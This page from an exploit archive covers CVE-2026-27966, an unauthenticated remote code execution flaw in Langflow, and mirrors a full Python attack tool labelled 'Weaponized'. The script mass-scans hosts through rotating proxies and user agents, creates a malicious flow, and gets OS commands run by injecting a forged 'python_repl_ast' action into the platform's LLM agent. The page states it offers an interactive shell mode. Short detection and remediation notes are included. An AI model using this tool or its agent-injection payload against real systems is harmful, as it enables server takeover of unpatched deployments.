PoC Archive PoC Archive
Critical CVE-2026-27966 unpatched

Langflow Remote Code Execution — CVE-2026-27966

by Anon-Cyber-Team (Vinz1337) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-27966
Category
web
Affected product
Langflow (visual LLM/AI workflow builder), typically exposed on port 7860
Affected versions
Not specified in source
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / ResearcherAnon-Cyber-Team (Vinz1337)
CVE / AdvisoryCVE-2026-27966
Categoryweb
SeverityCritical
CVSS Score9.8 (per repo README)
StatusWeaponized
Tagslangflow, rce, ai-pipeline, unauthenticated, flow-injection, scanner, interactive-shell
RelatedN/A

Affected Target

FieldValue
Software / SystemLangflow (visual LLM/AI workflow builder), typically exposed on port 7860
Versions AffectedNot specified in source
Language / PlatformPython 3.6+ (requests/threading-based exploit tool)
Authentication RequiredNo
Network Access RequiredYes

Summary

Langflow is a low-code platform for building LLM/agent pipelines (“flows”) that can include arbitrary code-execution components. This tool detects exposed Langflow instances, and where no existing flow exists, automatically creates one containing a code/command-execution component, then invokes it to run attacker-supplied OS commands on the underlying host. It supports scanning single targets or bulk target lists with multi-threading, and ships an interactive shell mode for post-exploitation control once a target is confirmed vulnerable — turning what starts as unauthenticated flow creation/execution into full remote code execution.


Vulnerability Details

Root Cause

Langflow instances expose an API surface that allows unauthenticated creation and execution of flows/components (including code-execution nodes) without adequate authentication or sandboxing, letting a remote, unauthenticated user run arbitrary commands on the server hosting Langflow.

Attack Vector

  1. Probe the target host (or a list of hosts) on the Langflow port and detect a running instance via multiple endpoint fingerprints.
  2. If no usable flow exists, automatically create a new flow containing a code-execution component via the exposed API.
  3. Invoke the flow/component with an attacker-controlled command payload.
  4. Parse and clean the JSON-wrapped output to recover command results.
  5. Optionally drop into an interactive shell for repeated command execution against the compromised instance.

Impact

Unauthenticated remote code execution on any host running an exposed, vulnerable Langflow instance, leading to full server compromise.


Environment / Lab Setup

Target:   Langflow instance reachable over HTTP(S), default port 7860
Attacker: Python 3.6+, `requests`, optional proxy/proxy-list for anonymity

Proof of Concept

PoC Script

See langflow.py in this folder.

1
2
python3 langflow.py -t http://target.com:7860
python3 langflow.py -f targets.txt -i

Scans the given target(s) for a vulnerable Langflow instance, auto-creates an executable flow if needed, executes remote commands, and (with -i) opens an interactive shell for further command execution.


Detection & Indicators of Compromise

Signs of compromise:

  • New/unexpected flows appearing in the Langflow project containing code-execution components.
  • Repeated execution API calls with OS command payloads (e.g. whoami, id, reverse-shell one-liners).
  • Outbound connections or child processes spawned by the Langflow backend process.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationDo not expose Langflow directly to the internet; require authentication in front of it (reverse proxy/VPN), and restrict/disable code-execution components in untrusted deployments.

References


Notes

Mirrored from https://github.com/Anon-Cyber-Team/CVE-2026-27966--RCE-in-Langflow on 2026-07-05.

langflow.py
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#!/usr/bin/env python3
import requests
import sys
import time
import json
import argparse
import threading
import uuid
import base64
import random
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse, urljoin
from datetime import datetime

# Colors
GREEN = '\033[92m'
RED = '\033[91m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
CYAN = '\033[96m'
MAGENTA = '\033[95m'
WHITE = '\033[97m'
RESET = '\033[0m'
BOLD = '\033[1m'

class AllInOneExploit:
    def __init__(self, debug=False, use_proxy=False, rotate_ua=True):
        self.debug = debug
        self.use_proxy = use_proxy
        self.rotate_ua = rotate_ua
        
        # Koleksi User-Agent lengkap
        self.user_agents = [
            # Windows Chrome
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
            
            # Windows Firefox
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0',
            
            # Windows Edge
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0',
            
            # macOS
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:123.0) Gecko/20100101 Firefox/123.0',
            
            # Linux
            'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
            'Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0',
            
            # Mobile - iPhone
            'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1',
            'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1',
            
            # Mobile - Android
            'Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36',
            'Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36',
        ]
        
        # Proxy list
        self.proxies = []
        self.current_proxy = None
        
        # Initialize session
        self.session = self._create_session()
        
        self.results = {
            'scanned': 0,
            'langflow': 0,
            'vulnerable': 0,
            'exploited': []
        }
    
    def _create_session(self):
        """Buat session baru dengan User-Agent random"""
        session = requests.Session()
        
        ua = random.choice(self.user_agents) if self.rotate_ua else self.user_agents[0]
        
        session.headers.update({
            'User-Agent': ua,
            'Accept': 'application/json, text/plain, */*',
            'Accept-Language': 'en-US,en;q=0.9',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/json',
            'Connection': 'keep-alive',
            'Upgrade-Insecure-Requests': '1',
            'Sec-Fetch-Dest': 'empty',
            'Sec-Fetch-Mode': 'cors',
            'Sec-Fetch-Site': 'same-origin',
            'Pragma': 'no-cache',
            'Cache-Control': 'no-cache'
        })
        
        return session
    
    def rotate_user_agent(self):
        """Ganti User-Agent untuk request berikutnya"""
        if self.rotate_ua:
            new_ua = random.choice(self.user_agents)
            self.session.headers.update({'User-Agent': new_ua})
            if self.debug:
                self.log(f"Rotated UA: {new_ua[:50]}...", "info")
    
    def load_proxies(self, proxy_file=None):
        """Load proxy dari file"""
        if proxy_file:
            try:
                with open(proxy_file, 'r') as f:
                    self.proxies = [line.strip() for line in f if line.strip()]
                self.log(f"Loaded {len(self.proxies)} proxies", "success")
            except Exception as e:
                self.log(f"Failed to load proxies: {e}", "error")
    
    def get_proxy(self):
        """Dapatkan proxy random"""
        if self.use_proxy and self.proxies:
            self.current_proxy = random.choice(self.proxies)
            return {'http': self.current_proxy, 'https': self.current_proxy}
        return None
        
    def print_banner(self):
        banner = f"""
{CYAN}{BOLD}
     
    ██████╗██╗   ██╗███████╗     ██╗      █████╗ ███╗   ██╗ ██████╗ ███████╗██╗      ██████╗ ██╗    ██╗
   ██╔════╝██║   ██║██╔════╝     ██║     ██╔══██╗████╗  ██║██╔════╝ ██╔════╝██║     ██╔═══██╗██║    ██║
   ██║     ██║   ██║█████╗       ██║     ███████║██╔██╗ ██║██║  ███╗█████╗  ██║     ██║   ██║██║ █╗ ██║
   ██║     ╚██╗ ██╔╝██╔══╝       ██║     ██╔══██║██║╚██╗██║██║   ██║██╔══╝  ██║     ██║   ██║██║███╗██║
   ╚██████╗ ╚████╔╝ ███████╗     ███████╗██║  ██║██║ ╚████║╚██████╔╝██║     ███████╗╚██████╔╝╚███╔███╔╝
    ╚═════╝  ╚═══╝  ╚══════╝     ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚═╝     ╚══════╝ ╚═════╝  ╚══╝╚══╝ 
                                                                    
                                        CVE-2026-27966 Langflow RCE            
                                  [ Created : Vinnzz | Anon Cyber Team ]                     
{RESET}
        """
        print(banner)
        
    def log(self, msg, level="info"):
        timestamp = datetime.now().strftime("%H:%M:%S")
        proxy_info = f" [Proxy: {self.current_proxy}]" if self.current_proxy else ""
        
        if level == "success":
            print(f"{GREEN}[{timestamp}] ✓ {msg}{proxy_info}{RESET}")
        elif level == "error":
            print(f"{RED}[{timestamp}] ✗ {msg}{proxy_info}{RESET}")
        elif level == "warning":
            print(f"{YELLOW}[{timestamp}] ⚠ {msg}{proxy_info}{RESET}")
        elif level == "info":
            print(f"{BLUE}[{timestamp}] ℹ {msg}{proxy_info}{RESET}")
        elif level == "vuln":
            print(f"{MAGENTA}{BOLD}[{timestamp}] 🔥 VULNERABLE: {msg}{proxy_info}{RESET}")
        elif level == "result":
            print(f"{CYAN}[{timestamp}] 📦 {msg}{proxy_info}{RESET}")
        elif level == "shell":
            print(f"{GREEN}[{timestamp}] 💻 {msg}{proxy_info}{RESET}")
    
    def request(self, method, url, **kwargs):
        """Wrapper untuk request dengan rotasi dan proxy (OPTIMIZED)"""
        if self.rotate_ua:
            self.rotate_user_agent()
        
        proxies = self.get_proxy() if self.use_proxy else None
        
        if 'timeout' not in kwargs:
            kwargs['timeout'] = 5  # Turunkan dari 10 ke 5
        
        try:
            if method.upper() == 'GET':
                return self.session.get(url, proxies=proxies, **kwargs)
            elif method.upper() == 'POST':
                return self.session.post(url, proxies=proxies, **kwargs)
            else:
                return self.session.request(method, url, proxies=proxies, **kwargs)
        except Exception as e:
            if self.debug:
                self.log(f"Request error: {e}", "error")
            raise
        
    def normalize_url(self, url):
        url = url.strip()
        if not url.startswith(('http://', 'https://')):
            return f"http://{url}"
        return url.rstrip('/')
    
    def check_reachable(self, url):
        """Cek apakah target reachable"""
        try:
            r = self.request('GET', url, timeout=3, allow_redirects=True)
            return True, r.status_code
        except requests.exceptions.ConnectionError:
            return False, "Connection Error"
        except requests.exceptions.Timeout:
            return False, "Timeout"
        except Exception as e:
            return False, str(e)
    
    def verify_langflow(self, url):
        """Verifikasi apakah ini benar-benar Langflow dengan lebih akurat"""
        results = {
            'is_langflow': False,
            'version': None,
            'flows': [],
            'endpoints': [],
            'flow_ids': []
        }
        
        # Endpoint prioritas (urutkan dari yang paling mungkin)
        checks = [
            {'url': '/', 'check': lambda r: 'langflow' in r.text.lower() or '<title>Langflow' in r.text},
            {'url': '/api/v1/flows', 'check': lambda r: r.status_code == 200},
            {'url': '/api/v1/version', 'check': lambda r: r.status_code == 200},
            {'url': '/health', 'check': lambda r: r.status_code == 200},
            {'url': '/api/flows', 'check': lambda r: r.status_code == 200},
            {'url': '/docs', 'check': lambda r: 'swagger' in r.text.lower() or 'redoc' in r.text.lower()},
        ]
        
        for check in checks:
            try:
                full_url = urljoin(url, check['url'])
                r = self.request('GET', full_url, timeout=2)  # Timeout kecil
                if check['check'](r):
                    results['endpoints'].append(check['url'])
                    if check['url'] == '/':
                        results['is_langflow'] = True
                    
                    # Ambil versi
                    if check['url'] in ['/api/v1/version', '/version'] and r.status_code == 200:
                        try:
                            version_data = r.json()
                            if isinstance(version_data, dict):
                                results['version'] = version_data.get('version') or version_data.get('Version')
                        except:
                            pass
                    
                    # Ambil flow IDs
                    if check['url'] in ['/api/v1/flows', '/api/flows'] and r.status_code == 200:
                        try:
                            flows = r.json()
                            if isinstance(flows, list):
                                for flow in flows:
                                    if isinstance(flow, dict) and flow.get('id'):
                                        results['flow_ids'].append(flow.get('id'))
                            elif isinstance(flows, dict):
                                if flows.get('id'):
                                    results['flow_ids'].append(flows.get('id'))
                        except:
                            pass
            except:
                continue
        
        return results
    
    def get_flow_id(self, url):
        """Dapatkan flow ID yang valid dengan berbagai metode (OPTIMIZED)"""
        
        # 1. Coba dari flows yang ada
        try:
            r = self.request('GET', urljoin(url, '/api/v1/flows'), timeout=3)
            if r.status_code == 200:
                flows = r.json()
                if isinstance(flows, list) and len(flows) > 0:
                    if flows[0].get('id'):
                        return flows[0].get('id')
                elif isinstance(flows, dict) and flows.get('id'):
                    return flows.get('id')
        except:
            pass
        
        # 2. Coba endpoint alternatif (lebih sedikit)
        alt_endpoints = ['/api/flows', '/flows']
        for endpoint in alt_endpoints:
            try:
                r = self.request('GET', urljoin(url, endpoint), timeout=2)
                if r.status_code == 200:
                    flows = r.json()
                    if isinstance(flows, list) and len(flows) > 0:
                        if flows[0].get('id'):
                            return flows[0].get('id')
            except:
                continue
        
        # 3. Buat flow baru
        return self.create_flow(url)
    
    def create_flow(self, url):
        """Buat flow ChatInput -> CSVAgent -> ChatOutput (OPTIMIZED)"""
        
        flow_data = {
            "name": f"Exploit_{random.randint(1000,9999)}",
            "description": "Test flow",
            "data": {
                "nodes": [
                    {"id": "input1", "type": "ChatInput", "data": {"node": {"name": "ChatInput"}}},
                    {"id": "agent1", "type": "CSVAgent", "data": {
                        "node": {
                            "name": "CSVAgent",
                            "params": {
                                "path": "/tmp/poc.csv",
                                "llm": {"type": "OpenAI", "params": {"model": "gpt-3.5-turbo"}}
                            }
                        }
                    }},
                    {"id": "output1", "type": "ChatOutput", "data": {"node": {"name": "ChatOutput"}}}
                ],
                "edges": [
                    {"source": "input1", "target": "agent1"},
                    {"source": "agent1", "target": "output1"}
                ]
            }
        }
        
        # Endpoint prioritas
        create_endpoints = ['/api/v1/flows', '/api/flows', '/flows']
        
        for endpoint in create_endpoints:
            try:
                full_url = urljoin(url, endpoint)
                if self.debug:
                    self.log(f"Creating flow at: {full_url}", "info")
                
                r = self.request('POST', full_url, json=flow_data, timeout=5)
                
                if r.status_code in [200, 201, 202]:
                    try:
                        result = r.json()
                        flow_id = (result.get('id') or result.get('flow_id') or result.get('flowId'))
                        if flow_id:
                            self.log(f"✅ Flow created: {flow_id}", "success")
                            return flow_id
                    except:
                        pass
            except Exception as e:
                if self.debug:
                    self.log(f"Error: {e}", "error")
                continue
        
        return None
    
    def clean_output(self, raw_output):
        """Bersihkan output dari JSON wrapper"""
        if not raw_output:
            return None
            
        try:
            if raw_output.strip().startswith('{'):
                data = json.loads(raw_output)
                
                output = None
                if 'xmsg' in data:
                    output = data['xmsg']
                elif 'result' in data:
                    output = data['result']
                elif 'output' in data:
                    output = data['output']
                elif 'message' in data:
                    output = data['message']
                
                if output:
                    output = output.replace('Successfully\\n', '').replace('\\n', '\n')
                    output = output.replace('\\"', '"').replace("\\'", "'")
                    output = re.sub(r'\x1b\[[0-9;]*m', '', output)
                    
                    lines = output.split('\n')
                    clean_lines = [line.strip() for line in lines if line.strip() and not line.startswith('{')]
                    
                    if clean_lines:
                        return '\n'.join(clean_lines)
                    return output
                
                if data.get('status') in [200, 'success', True] or data.get('success') == True:
                    return "[Command executed successfully]"
                
                return f"[Response received]"
            else:
                return raw_output
        except:
            return raw_output
    
    def execute_command(self, url, flow_id, command):
        """Eksekusi command via RCE (VERSI CEPAT - OPTIMIZED)"""
        prompt = f"""Action: python_repl_ast
Action Input: __import__("os").system("{command}")
"""
        
        # Payload utama (paling sering work)
        payload = {
            "input_value": prompt,
            "session_id": str(uuid.uuid4()),
            "tweaks": {
                "CSVAgent": {
                    "path": "/tmp/poc.csv",
                    "allow_dangerous_code": True
                }
            }
        }
        
        # Endpoint prioritas (urutkan dari yang paling mungkin)
        run_endpoints = [
            f'/api/v1/run/{flow_id}',
            f'/api/run/{flow_id}',
            f'/run/{flow_id}',
        ]
        
        # Coba endpoint utama dulu
        for endpoint in run_endpoints:
            try:
                full_url = urljoin(url, endpoint)
                if self.debug:
                    self.log(f"Executing at: {full_url}", "info")
                
                r = self.request('POST', full_url, json=payload, timeout=5)
                
                if r.status_code == 200:
                    cleaned = self.clean_output(r.text)
                    if cleaned and len(cleaned) > 0:
                        return cleaned
                    return "✓ Command executed (no output)"
                elif r.status_code == 404:
                    continue  # Endpoint tidak ada
                elif self.debug:
                    self.log(f"Status {r.status_code} from {endpoint}", "warning")
                    
            except requests.exceptions.Timeout:
                if self.debug:
                    self.log(f"Timeout on {endpoint}", "warning")
                continue
            except Exception as e:
                if self.debug:
                    self.log(f"Error on {endpoint}: {e}", "error")
                continue
        
        # Kalau gagal, coba dengan payload alternatif (1x)
        alt_payload = {
            "message": prompt,
            "session_id": str(uuid.uuid4())
        }
        
        try:
            r = self.request('POST', urljoin(url, f'/api/v1/run/{flow_id}'), 
                           json=alt_payload, timeout=5)
            if r.status_code == 200:
                return self.clean_output(r.text)
        except:
            pass
        
        return None
    
    def scan_target(self, target):
        """Scan single target"""
        target = self.normalize_url(target)
        self.results['scanned'] += 1
        
        self.log(f"Scanning: {target}", "info")
        
        reachable, status = self.check_reachable(target)
        if not reachable:
            self.log(f"Target unreachable: {target} ({status})", "error")
            return None
        
        langflow_info = self.verify_langflow(target)
        
        if langflow_info['is_langflow']:
            self.results['langflow'] += 1
            self.log(f"✅ Langflow detected: {target}", "success")
            
            if langflow_info.get('version'):
                self.log(f"📌 Version: {langflow_info['version']}", "info")
            
            flow_id = langflow_info['flow_ids'][0] if langflow_info['flow_ids'] else self.get_flow_id(target)
            
            if flow_id:
                self.log(f"📋 Using Flow ID: {flow_id}", "result")
                
                test_cmd = "echo 'VULN_TEST'"
                result = self.execute_command(target, flow_id, test_cmd)
                
                if result:
                    if 'VULN_TEST' in result:
                        self.results['vulnerable'] += 1
                        self.log(f"🔥 TARGET VULNERABLE: {target}", "vuln")
                        
                        return {
                            'url': target,
                            'flow_id': flow_id,
                            'vulnerable': True,
                            'version': langflow_info.get('version')
                        }
                    else:
                        self.log(f"⚠ Target mungkin patched", "warning")
                else:
                    self.log(f"⚠ Command execution failed", "warning")
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